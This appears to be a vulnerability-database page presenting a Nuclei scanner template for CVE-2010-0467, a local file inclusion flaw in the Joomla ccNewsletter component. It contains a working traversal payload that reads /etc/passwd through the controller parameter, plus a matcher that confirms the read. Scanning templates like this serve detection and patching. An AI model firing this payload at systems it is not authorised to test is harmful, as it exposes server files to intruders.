CVE-2010-0467: Joomla! Component CCNewsLetter - Local File Inclusion

2025-08-01 Joomla PoC Public

Description

A directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.

PoC

id: CVE-2010-0467

info:
  name: Joomla! Component CCNewsLetter - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Apply all relevant security patches and upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11282
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0467
    - http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html
    - http://www.exploit-db.com/exploits/11277
    - http://www.exploit-db.com/exploits/11282
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2010-0467
    cwe-id: CWE-22
    epss-score: 0.43296
    epss-percentile: 0.98658
    cpe: cpe:2.3:a:chillcreations:com_ccnewsletter:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chillcreations
    product: com_ccnewsletter
  tags: cve2010,cve,joomla,lfi,edb,chillcreations,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206298ac337d0a4955047fd1e11f6d6083010c095bb658541180586160605a242f02201e8ac107606df594de89fc4e60a62c44cdf18d6ac4e0982c1f0d8b06a04d62ed:922c64590222798bb761d5b6d8e72950

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